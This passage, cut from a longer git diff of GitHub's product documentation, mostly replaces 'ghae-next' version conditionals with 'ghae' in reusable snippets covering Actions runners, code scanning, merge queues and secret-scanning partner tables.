currently in beta and subject to change. - -{% endnote %} -{% endif %} diff --git a/data/reusables/actions/ae-self-hosted-runners-notice.md b/data/reusables/actions/ae-self-hosted-runners-notice.md index 0dec49e4f5..edd1d007a4 100644 --- a/data/reusables/actions/ae-self-hosted-runners-notice.md +++ b/data/reusables/actions/ae-self-hosted-runners-notice.md @@ -2,17 +2,7 @@ {% warning %} -{% ifversion ghae-next %} - -**Warning:** Self-hosted runners are enabled by default for {% data variables.product.prodname_ghe_managed %}. Self-hosted runners are long-lived, and any compromise to the host machine could leak secrets or credentials or enable other attacks. If you'd like to disable self-hosted runners for your enterprise, you can contact {% data variables.product.prodname_dotcom %} support. For more information about the risks of using self-hosted runners, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)." - -{% elsif ghae %} - -**Warning:** Self-hosted runners are currently disabled for {% data variables.product.prodname_ghe_managed %}. This is because {% data variables.product.prodname_ghe_managed %} offers guarantees for security boundaries which are incompatible with how self-hosted runners work. However, if you do need to use self-hosted runners with {% data variables.product.prodname_ghe_managed %} and understand the security implications, you can contact {% data variables.product.prodname_dotcom %} support for a security exception that will enable self-hosted runners. - -If you don't need self-hosted runners, then you can use {% data variables.actions.hosted_runner %}s to run your workflows. For more information, see "[About {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/about-ae-hosted-runners)." - -{% endif %} +**Warning:** Self-hosted runners are long-lived, and any compromise to the host machine could leak secrets or credentials or enable other attacks. For more information about the risks of using self-hosted runners, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)." For more information about the management of access to {% data variables.product.prodname_actions %} for {% data variables.product.product_location %}, see "[Enforcing {% data variables.product.prodname_actions %} policies for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." {% endwarning %} diff --git a/data/reusables/actions/self-hosted-runners-software.md b/data/reusables/actions/self-hosted-runners-software.md new file mode 100644 index 0000000000..03bcfb0728 --- /dev/null +++ b/data/reusables/actions/self-hosted-runners-software.md @@ -0,0 +1 @@ +You must install the required software on your self-hosted runners. For more information about self-hosted runners, see "[Hosting your own runners](/actions/hosting-your-own-runners)." diff --git a/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md b/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md index dd113a9921..708257ab9e 100644 --- a/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md +++ b/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md @@ -4,4 +4,4 @@ 1. Provide a sample test string to make sure your configuration is matching the patterns you expect. ![Create a custom {% data variables.product.prodname_secret_scanning %} pattern form](/assets/images/help/repository/secret-scanning-create-custom-pattern.png) -1. When you are satisfied with your new custom pattern, click {% ifversion fpt or ghes > 3.2 or ghae-next or ghec %}**Create pattern**{% elsif ghes = 3.2 %}**Create custom pattern**{% endif %}. +1. When you are satisfied with your new custom pattern, click {% ifversion fpt or ghes > 3.2 or ghae or ghec %}**Create pattern**{% elsif ghes = 3.2 %}**Create custom pattern**{% endif %}. diff --git a/data/reusables/advanced-security/secret-scanning-new-custom-pattern.md b/data/reusables/advanced-security/secret-scanning-new-custom-pattern.md index 4e70283d45..f4253a5e11 100644 --- a/data/reusables/advanced-security/secret-scanning-new-custom-pattern.md +++ b/data/reusables/advanced-security/secret-scanning-new-custom-pattern.md @@ -1 +1 @@ -1. Under "{% data variables.product.prodname_secret_scanning_caps %}", under "Custom patterns", click {% ifversion fpt or ghes > 3.2 or ghae-next or ghec %}**New pattern**{% elsif ghes = 3.2 %}**New custom pattern**{% endif %}. +1. Under "{% data variables.product.prodname_secret_scanning_caps %}", under "Custom patterns", click {% ifversion fpt or ghes > 3.2 or ghae or ghec %}**New pattern**{% elsif ghes = 3.2 %}**New custom pattern**{% endif %}. diff --git a/data/reusables/code-scanning/enabling-options.md b/data/reusables/code-scanning/enabling-options.md index ba1e94c81b..ad4eded9d1 100644 --- a/data/reusables/code-scanning/enabling-options.md +++ b/data/reusables/code-scanning/enabling-options.md @@ -1,6 +1,6 @@ | Type of analysis | Options for generating alerts | |------------------|-------------------------------| -{%- ifversion fpt or ghes > 3.0 or ghae-next %} +{%- ifversion fpt or ghes > 3.0 or ghae %} | {% data variables.product.prodname_codeql %} | Using {% data variables.product.prodname_actions %} (see "[Setting up {% data variables.product.prodname_code_scanning %} using actions](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)") or running {% data variables.product.prodname_codeql %} analysis in a third-party continuous integration (CI) system (see "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)"). {%- else %} | {% data variables.product.prodname_codeql %} | Using {% data variables.product.prodname_actions %} (see "[Setting up {% data variables.product.prodname_code_scanning %} using actions](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)") or using the {% data variables.product.prodname_codeql_runner %} in a third-party continuous integration (CI) system (see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system)"). diff --git a/data/reusables/code-scanning/upload-sarif-alert-limit.md b/data/reusables/code-scanning/upload-sarif-alert-limit.md index b74445809a..18e2986ed0 100644 --- a/data/reusables/code-scanning/upload-sarif-alert-limit.md +++ b/data/reusables/code-scanning/upload-sarif-alert-limit.md @@ -1,7 +1,7 @@ {% note %} **Notes:** -- SARIF upload supports a maximum of {% ifversion ghae-next or fpt or ghes > 3.0 or ghec %}5000{% else %}1000{% endif %} results per upload. Any results over this limit are ignored. If a tool generates too many results, you should update the configuration to focus on results for the most important rules or queries. +- SARIF upload supports a maximum of {% ifversion ghae or fpt or ghes > 3.0 or ghec %}5000{% else %}1000{% endif %} results per upload. Any results over this limit are ignored. If a tool generates too many results, you should update the configuration to focus on results for the most important rules or queries. - For each upload, SARIF upload supports a maximum size of 10 MB for the `gzip`-compressed SARIF file. Any uploads over this limit will be rejected. If your SARIF file is too large because it contains too many results, you should update the configuration to focus on results for the most important rules or queries. diff --git a/data/reusables/code-scanning/use-codeql-runner-not-cli.md b/data/reusables/code-scanning/use-codeql-runner-not-cli.md index 729d524fd9..feac9dd20d 100644 --- a/data/reusables/code-scanning/use-codeql-runner-not-cli.md +++ b/data/reusables/code-scanning/use-codeql-runner-not-cli.md @@ -1,4 +1,4 @@ -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} If the {% data variables.product.prodname_codeql_cli %} is unsuitable for use in your CI system, the {% data variables.product.prodname_codeql_runner %} is available as an alternative. Typically, this is needed if the CI system would need to orchestrate compiler invocations as well as running {% data variables.product.prodname_codeql %} analysis. For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system)." {% endif %} diff --git a/data/reusables/code-scanning/what-is-codeql-cli.md b/data/reusables/code-scanning/what-is-codeql-cli.md index 3c8e01fa71..811735233c 100644 --- a/data/reusables/code-scanning/what-is-codeql-cli.md +++ b/data/reusables/code-scanning/what-is-codeql-cli.md @@ -1,3 +1,3 @@ -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} The {% data variables.product.prodname_codeql_cli %} is a standalone product that you can use to analyze code. Its main purpose is to generate a database representation of a codebase, a {% data variables.product.prodname_codeql %} database. Once the database is ready, you can query it interactively, or run a suite of queries to generate a set of results in SARIF format and upload the results to {% data variables.product.product_location %}. {% endif %} diff --git a/data/reusables/enterprise-accounts/actions-runners-tab.md b/data/reusables/enterprise-accounts/actions-runners-tab.md index 6c1f67a056..42abcee459 100644 --- a/data/reusables/enterprise-accounts/actions-runners-tab.md +++ b/data/reusables/enterprise-accounts/actions-runners-tab.md @@ -1 +1 @@ -1. Click the {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}**Runners**{% else %}**Self-hosted runners**{% endif %} tab. +1. Click the {% ifversion fpt or ghes > 3.1 or ghae or ghec %}**Runners**{% else %}**Self-hosted runners**{% endif %} tab. diff --git a/data/reusables/gated-features/secret-scanning.md b/data/reusables/gated-features/secret-scanning.md index 21e42e83c9..b42c5b1001 100644 --- a/data/reusables/gated-features/secret-scanning.md +++ b/data/reusables/gated-features/secret-scanning.md @@ -1,5 +1,5 @@ {% ifversion fpt or ghec %}{% data variables.product.prodname_secret_scanning_caps %} is available for all public repositories, and for private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled. -{%- elsif ghes > 3.0 or ghae-next %}{% data variables.product.prodname_secret_scanning_caps %} is available for organization-owned repositories where {% data variables.product.prodname_GH_advanced_security %} is enabled. +{%- elsif ghes > 3.0 or ghae %}{% data variables.product.prodname_secret_scanning_caps %} is available for organization-owned repositories where {% data variables.product.prodname_GH_advanced_security %} is enabled. {%- elsif ghae %} {% data variables.product.prodname_secret_scanning_caps %} is available as part of {% data variables.product.prodname_GH_advanced_security %}, which is free during the beta release. {%- else %} diff --git a/data/reusables/github-actions/artifact-log-retention-statement.md b/data/reusables/github-actions/artifact-log-retention-statement.md index 6f785ace01..816927b973 100644 --- a/data/reusables/github-actions/artifact-log-retention-statement.md +++ b/data/reusables/github-actions/artifact-log-retention-statement.md @@ -1 +1 @@ -By default, {% data variables.product.product_name %} stores build logs and artifacts for 90 days, and this retention period can be customized. For more information, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy)". +By default, {% data variables.product.product_name %} stores build logs and artifacts for 90 days, and this retention period can be customized.{% ifversion fpt or ghec or ghes %} For more information, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy)."{% endif %} diff --git a/data/reusables/github-actions/github-token-permissions.md b/data/reusables/github-actions/github-token-permissions.md index 89d4630289..1104904f83 100644 --- a/data/reusables/github-actions/github-token-permissions.md +++ b/data/reusables/github-actions/github-token-permissions.md @@ -1 +1 @@ -The `GITHUB_TOKEN` secret is set to an access token for the repository each time a job in a workflow begins. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. {% else %}It has read and write permissions for packages in the repository where the workflow runs. {% endif %}For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." +The `GITHUB_TOKEN` secret is set to an access token for the repository each time a job in a workflow begins. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. {% else %}It has read and write permissions for packages in the repository where the workflow runs. {% endif %}For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." diff --git a/data/reusables/github-actions/hosted-runner-navigate-to-repo-org-enterprise.md b/data/reusables/github-actions/hosted-runner-navigate-to-repo-org-enterprise.md deleted file mode 100644 index ab5b76ed38..0000000000 --- a/data/reusables/github-actions/hosted-runner-navigate-to-repo-org-enterprise.md +++ /dev/null @@ -1,15 +0,0 @@ -1. Navigate to where your {% data variables.actions.hosted_runner %} is registered: - * **In an organization or repository**: navigate to the main page and click {% octicon "gear" aria-label="The Settings gear" %} **Settings**. - * **If using an enterprise-level runner**: - - 1. In the upper-right corner of any page, click {% octicon "rocket" aria-label="The rocket ship" %}. - 1. In the left sidebar, click **Enterprise overview**. - 1. In the enterprise sidebar, click {% octicon "law" aria-label="The law icon" %} **Policies**. -1. Navigate to the {% data variables.product.prodname_actions %} settings: - * **In an organization or repository**: Click **Actions** in the left sidebar. - - ![Actions setting](/assets/images/help/settings/settings-sidebar-actions.png) - * **If using an enterprise-level runner**: Under "{% octicon "law" aria-label="The law icon" %} Policies", click **Actions**. - - ![Actions setting](/assets/images/help/settings/actions-enterprise-policies.png) - diff --git a/data/reusables/github-actions/ip-allow-list-hosted-runners.md b/data/reusables/github-actions/ip-allow-list-hosted-runners.md deleted file mode 100644 index caa664045e..0000000000 --- a/data/reusables/github-actions/ip-allow-list-hosted-runners.md +++ /dev/null @@ -1,3 +0,0 @@ -To allow your {% data variables.actions.hosted_runner %}s to communicate with {% data variables.product.prodname_dotcom %}, add the IP address or IP address range of your {% data variables.actions.hosted_runner %}s to the IP allow list. For more information, see "[Adding an allowed IP address](#adding-an-allowed-ip-address)." - -For more information about {% data variables.actions.hosted_runner %}s, see "[About {% data variables.actions.hosted_runner %}s](/github-ae@latest/actions/using-github-hosted-runners/about-ae-hosted-runners)." diff --git a/data/reusables/github-actions/ip-allow-list-self-hosted-runners.md b/data/reusables/github-actions/ip-allow-list-self-hosted-runners.md index e149d24273..3e93d2adf7 100644 --- a/data/reusables/github-actions/ip-allow-list-self-hosted-runners.md +++ b/data/reusables/github-actions/ip-allow-list-self-hosted-runners.md @@ -1,5 +1,5 @@ {% ifversion ghae %} -To allow your {% data variables.actions.hosted_runner %}s to communicate with {% data variables.product.prodname_dotcom %}, add the IP address or IP address range of your {% data variables.actions.hosted_runner %}s to the IP allow list. For more information, see "[Adding an allowed IP address](#adding-an-allowed-ip-address)." +To allow your self-hosted runners to communicate with {% data variables.product.prodname_dotcom %}, add the IP address or IP address range of your self-hosted runners to the IP allow list. For more information, see "[Adding an allowed IP address](#adding-an-allowed-ip-address)." {% else %} {% warning %} diff --git a/data/reusables/github-actions/publish-to-packages-workflow-step.md b/data/reusables/github-actions/publish-to-packages-workflow-step.md index abe399c328..0f5592f86c 100644 --- a/data/reusables/github-actions/publish-to-packages-workflow-step.md +++ b/data/reusables/github-actions/publish-to-packages-workflow-step.md @@ -1 +1 @@ -Runs the `mvn --batch-mode deploy` command to publish to {% data variables.product.prodname_registry %}. The `GITHUB_TOKEN` environment variable will be set with the contents of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}The `permissions` key specifies the access granted to the `GITHUB_TOKEN`.{% endif %} +Runs the `mvn --batch-mode deploy` command to publish to {% data variables.product.prodname_registry %}. The `GITHUB_TOKEN` environment variable will be set with the contents of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}The `permissions` key specifies the access granted to the `GITHUB_TOKEN`.{% endif %} diff --git a/data/reusables/github-actions/self-hosted-runner-configure-runner-group-access.md b/data/reusables/github-actions/self-hosted-runner-configure-runner-group-access.md index c27594de77..89a9061d98 100644 --- a/data/reusables/github-actions/self-hosted-runner-configure-runner-group-access.md +++ b/data/reusables/github-actions/self-hosted-runner-configure-runner-group-access.md @@ -1,4 +1,4 @@ -1. In the {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %} section of the settings page, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} next to the runner group you'd like to configure, then click **Edit name and [organization|repository] access**. +1. In the {% ifversion fpt or ghes > 3.1 or ghae or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %} section of the settings page, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} next to the runner group you'd like to configure, then click **Edit name and [organization|repository] access**. ![Manage repository permissions](/assets/images/help/settings/actions-runner-manage-permissions.png) 1. Modify your policy options, or change the runner group name. diff --git a/data/reusables/github-actions/self-hosted-runner-list.md b/data/reusables/github-actions/self-hosted-runner-list.md index 09c0a3a8fd..32ce8941b2 100644 --- a/data/reusables/github-actions/self-hosted-runner-list.md +++ b/data/reusables/github-actions/self-hosted-runner-list.md @@ -1 +1 @@ - 1. Locate the list of runners under {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %}. + 1. Locate the list of runners under {% ifversion fpt or ghes > 3.1 or ghae or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %}. diff --git a/data/reusables/github-actions/self-hosted-runner-navigate-to-org-enterprise.md b/data/reusables/github-actions/self-hosted-runner-navigate-to-org-enterprise.md index 2dbca8bf43..e42d737c5b 100644 --- a/data/reusables/github-actions/self-hosted-runner-navigate-to-org-enterprise.md +++ b/data/reusables/github-actions/self-hosted-runner-navigate-to-org-enterprise.md @@ -12,6 +12,6 @@ 1. In the left sidebar, click **Enterprise overview**. 1. In the enterprise sidebar, {% octicon "law" aria-label="The law icon" %} **Policies**.{% endif %} 1. Navigate to the {% data variables.product.prodname_actions %} settings: - * **In an organization**: Click **Actions** in the left sidebar{% ifversion fpt or ghec or ghes > 3.1 or ghae-next %}, then click **Runners**{% endif %}. - * {% ifversion ghec %}**If using an enterprise account**:{% elsif ghes or ghae %}**If using an enterprise-level runner**:{% endif %} Click **Actions** under "{% octicon "law" aria-label="The law icon" %} Policies"{% ifversion fpt or ghec or ghes > 3.1 or ghae-next %}, then click the **Runners** tab{% endif %}. + * **In an organization**: Click **Actions** in the left sidebar{% ifversion fpt or ghec or ghes > 3.1 or ghae %}, then click **Runners**{% endif %}. + * {% ifversion ghec %}**If using an enterprise account**:{% elsif ghes or ghae %}**If using an enterprise-level runner**:{% endif %} Click **Actions** under "{% octicon "law" aria-label="The law icon" %} Policies"{% ifversion fpt or ghec or ghes > 3.1 or ghae %}, then click the **Runners** tab{% endif %}. {% endif %} diff --git a/data/reusables/github-actions/self-hosted-runner-navigate-to-repo-org-enterprise.md b/data/reusables/github-actions/self-hosted-runner-navigate-to-repo-org-enterprise.md index 82164c712c..668aeeded6 100644 --- a/data/reusables/github-actions/self-hosted-runner-navigate-to-repo-org-enterprise.md +++ b/data/reusables/github-actions/self-hosted-runner-navigate-to-repo-org-enterprise.md @@ -12,6 +12,6 @@ 2. In the left sidebar, click **Enterprise overview**. 3. In the enterprise sidebar, click {% octicon "law" aria-label="The law icon" %} **Policies**.{% endif %} 2. Navigate to the {% data variables.product.prodname_actions %} settings: - * **In an organization or repository**: Click **Actions** in the left sidebar{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, then click **Runners**{% endif %}.{% ifversion ghec or ghae or ghes %} - * {% ifversion ghec %}**If using an enterprise account**:{% elsif ghes or ghae %}**If using an enterprise-level runner**:{% endif %} Click **Actions** under "{% octicon "law" aria-label="The law icon" %} Policies"{% ifversion ghes > 3.1 or ghae-next or ghec %}, then click the **Runners** tab{% endif %}.{% endif %} + * **In an organization or repository**: Click **Actions** in the left sidebar{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, then click **Runners**{% endif %}.{% ifversion ghec or ghae or ghes %} + * {% ifversion ghec %}**If using an enterprise account**:{% elsif ghes or ghae %}**If using an enterprise-level runner**:{% endif %} Click **Actions** under "{% octicon "law" aria-label="The law icon" %} Policies"{% ifversion ghes > 3.1 or ghae or ghec %}, then click the **Runners** tab{% endif %}.{% endif %} {% endif %} diff --git a/data/reusables/github-actions/self-hosted-runner-removing-a-runner.md b/data/reusables/github-actions/self-hosted-runner-removing-a-runner.md index e60d1bdc38..0ce4dcf7e0 100644 --- a/data/reusables/github-actions/self-hosted-runner-removing-a-runner.md +++ b/data/reusables/github-actions/self-hosted-runner-removing-a-runner.md @@ -1,4 +1,4 @@ -1. Under {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %}, locate the runner in the list. If your runner is in a group, click {% octicon "chevron-down" aria-label="The downwards chevron" %} to expand the list. +1. Under {% ifversion fpt or ghes > 3.1 or ghae or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %}, locate the runner in the list. If your runner is in a group, click {% octicon "chevron-down" aria-label="The downwards chevron" %} to expand the list. 1. Click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} next to the runner you want to remove, then click **Remove**. ![Removing a self-hosted runner setting](/assets/images/help/settings/actions-runner-remove.png) diff --git a/data/reusables/github-actions/settings-sidebar-actions-runner-groups.md b/data/reusables/github-actions/settings-sidebar-actions-runner-groups.md index 89d435389a..6272975d7a 100644 --- a/data/reusables/github-actions/settings-sidebar-actions-runner-groups.md +++ b/data/reusables/github-actions/settings-sidebar-actions-runner-groups.md @@ -1,2 +1,2 @@ -1. In the left sidebar, click **Actions**.{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +1. In the left sidebar, click **Actions**.{% ifversion fpt or ghes > 3.1 or ghae or ghec %} 1. In the left sidebar, under "Actions", click **Runner groups**.{% endif %} diff --git a/data/reusables/github-actions/settings-sidebar-actions-runners.md b/data/reusables/github-actions/settings-sidebar-actions-runners.md index 099d310ae2..9fbb7b13ec 100644 --- a/data/reusables/github-actions/settings-sidebar-actions-runners.md +++ b/data/reusables/github-actions/settings-sidebar-actions-runners.md @@ -1 +1 @@ -1. In the left sidebar, click **Actions**{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, then click **Runners**{% endif %}. +1. In the left sidebar, click **Actions**{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, then click **Runners**{% endif %}. diff --git a/data/reusables/github-connect/beta.md b/data/reusables/github-connect/beta.md index 991a98d3d6..e490e69055 100644 --- a/data/reusables/github-connect/beta.md +++ b/data/reusables/github-connect/beta.md @@ -1,4 +1,4 @@ -{% ifversion ghae-next %} +{% ifversion ghae %} {% note %} **Note:** {% data variables.product.prodname_github_connect %} for {% data variables.product.product_name %} is currently in beta and subject to change. diff --git a/data/reusables/github-connect/sync-frequency.md b/data/reusables/github-connect/sync-frequency.md index 75a4fd8218..0905f58853 100644 --- a/data/reusables/github-connect/sync-frequency.md +++ b/data/reusables/github-connect/sync-frequency.md @@ -1 +1 @@ -{% data variables.product.product_name %} sends updates hourly. +{% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% elsif ghes or ghae %}{% data variables.product.product_name %}{% endif %} sends updates hourly. diff --git a/data/reusables/pull_requests/merge-queue-merging-method.md b/data/reusables/pull_requests/merge-queue-merging-method.md new file mode 100644 index 0000000000..9c09c5248f --- /dev/null +++ b/data/reusables/pull_requests/merge-queue-merging-method.md @@ -0,0 +1,2 @@ +Once CI checks pass, {% data variables.product.product_name %} merges the pull request by fast-forwarding the default branch. The merge queue will use merge commits if the "Require linear history" branch protection setting is turned off, and the "Rebase and merge" method otherwise. + \ No newline at end of file diff --git a/data/reusables/pull_requests/merge-queue-overview.md b/data/reusables/pull_requests/merge-queue-overview.md index 14743c0782..6e2a7cdd0f 100644 --- a/data/reusables/pull_requests/merge-queue-overview.md +++ b/data/reusables/pull_requests/merge-queue-overview.md @@ -1,3 +1,5 @@ -Merge queues for pull requests can increase the rate at which pull requests are merged into a busy default branch, whilst ensuring that CI checks pass. +Merge queues for pull requests can increase the rate at which pull requests are merged into a busy default branch, whilst ensuring that CI checks pass. -Once a pull request has passed any required checks and approvals, a contributor can add the pull request to the merge queue. The queue then creates a temporary branch with that pull request and any pull requests ahead of it in the queue, and triggers any required continuous integration (CI) checks. Once CI checks pass, {% data variables.product.product_name %} merges the pull request by fast-forwarding the default branch. +Merge queues use {% data variables.product.prodname_actions %}. For more information about actions, see "[{% data variables.product.prodname_actions %}](/actions/)." + +Once a pull request has passed any required checks and approvals, a contributor with write access can add the pull request to the merge queue. The queue then creates a temporary branch with that pull request and any pull requests ahead of it in the queue, and triggers any required continuous integration (CI) checks. diff --git a/data/reusables/repositories/security-guidelines.md b/data/reusables/repositories/security-guidelines.md index b958030cbb..54975efa28 100644 --- a/data/reusables/repositories/security-guidelines.md +++ b/data/reusables/repositories/security-guidelines.md @@ -1,3 +1,3 @@ -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} You can create a security policy to give people instructions for reporting security vulnerabilities in your project. For more information, see "[Adding a security policy to your repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)." {% endif %} diff --git a/data/reusables/repositories/sidebar-issues.md b/data/reusables/repositories/sidebar-issues.md index f5e7182651..b4f7cd9428 100644 --- a/data/reusables/repositories/sidebar-issues.md +++ b/data/reusables/repositories/sidebar-issues.md @@ -1,4 +1,4 @@ 2. Under your repository name, click {% octicon "issue-opened" aria-label="The issues icon" %} **Issues**. - {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + {% ifversion fpt or ghes > 3.1 or ghae or ghec %} ![Issues tab](/assets/images/help/repository/repo-tabs-issues.png){% else %} ![Issues tab](/assets/images/enterprise/3.1/help/repository/repo-tabs-issues.png){% endif %} diff --git a/data/reusables/repositories/sidebar-pr.md b/data/reusables/repositories/sidebar-pr.md index 99a318d1fe..662f8466f1 100644 --- a/data/reusables/repositories/sidebar-pr.md +++ b/data/reusables/repositories/sidebar-pr.md @@ -1,5 +1,5 @@ 1. Under your repository name, click {% octicon "git-pull-request" aria-label="The pull request icon" %} **Pull requests**. {% ifversion fpt or ghec %} - ![Issues and pull requests tab selection](/assets/images/help/repository/repo-tabs-pull-requests.png){% elsif ghes > 3.1 or ghae-next %} + ![Issues and pull requests tab selection](/assets/images/help/repository/repo-tabs-pull-requests.png){% elsif ghes > 3.1 or ghae %} ![Pull request tab selection](/assets/images/enterprise/3.3/repository/repo-tabs-pull-requests.png){% else %} ![Issues tab](/assets/images/enterprise/3.1/help/repository/repo-tabs-pull-requests.png){% endif %} diff --git a/data/reusables/secret-scanning/api-beta.md b/data/reusables/secret-scanning/api-beta.md index fa4bfc814a..4f9ab0ccc0 100644 --- a/data/reusables/secret-scanning/api-beta.md +++ b/data/reusables/secret-scanning/api-beta.md @@ -1,4 +1,4 @@ -{% ifversion ghes > 3.0 or ghae-next %} +{% ifversion ghes > 3.0 or ghae %} {% note %} diff --git a/data/reusables/secret-scanning/partner-secret-list-private-repo.md b/data/reusables/secret-scanning/partner-secret-list-private-repo.md index 922bd40e50..55e55dcbe2 100644 --- a/data/reusables/secret-scanning/partner-secret-list-private-repo.md +++ b/data/reusables/secret-scanning/partner-secret-list-private-repo.md @@ -1,13 +1,13 @@ Provider | Supported secret | API slug --- | --- | --- Adafruit IO | Adafruit IO Key | adafruit_io_key -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Adobe | Adobe Device Token | adobe_device_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Adobe | Adobe Service Token | adobe_service_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Adobe | Adobe Short-Lived Access Token | adobe_short_lived_access_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Adobe | Adobe JSON Web Token | adobe_jwt{% endif %} Alibaba Cloud | Alibaba Cloud Access Key ID | alibaba_cloud_access_key_id Alibaba Cloud | Alibaba Cloud Access Key Secret | alibaba_cloud_access_key_secret @@ -17,11 +17,11 @@ Amazon Web Services (AWS) | Amazon AWS Secret Access Key | aws_secret_access_key Amazon Web Services (AWS) | Amazon AWS Session Token | aws_session_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} Amazon Web Services (AWS) | Amazon AWS Temporary Access Key ID | aws_temporary_access_key_id{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Asana | Asana Personal Access Token | asana_personal_access_token{% endif %} Atlassian | Atlassian API Token | atlassian_api_token Atlassian | Atlassian JSON Web Token | atlassian_jwt -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Atlassian | Bitbucket Server Personal Access Token | bitbucket_server_personal_access_token{% endif %} Azure | Azure DevOps Personal Access Token | azure_devops_personal_access_token Azure | Azure SAS Token | azure_sas_token @@ -31,12 +31,12 @@ Azure | Azure SQL Connection String | azure_sql_connection_string{% endif %} Azure | Azure Storage Account Key | azure_storage_account_key {%- ifversion fpt or ghec or ghes > 3.2 %} Beamer | Beamer API Key | beamer_api_key{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Checkout.com | Checkout.com Production Secret Key | checkout_production_secret_key{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Checkout.com | Checkout.com Test Secret Key | checkout_test_secret_key{% endif %} Clojars | Clojars Deploy Token | clojars_deploy_token -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} CloudBees CodeShip | CloudBees CodeShip Credential | codeship_credential{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} Contentful | Contentful Personal Access Token | contentful_personal_access_token{% endif %} @@ -50,39 +50,39 @@ Doppler | Doppler Service Token | doppler_service_token{% endif %} Doppler | Doppler CLI Token | doppler_cli_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.0 or ghae %} Doppler | Doppler SCIM Token | doppler_scim_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Doppler | Doppler Audit Token | doppler_audit_token{% endif %} Dropbox | Dropbox Access Token | dropbox_access_token Dropbox | Dropbox Short Lived Access Token | dropbox_short_lived_access_token -{%- ifversion fpt or 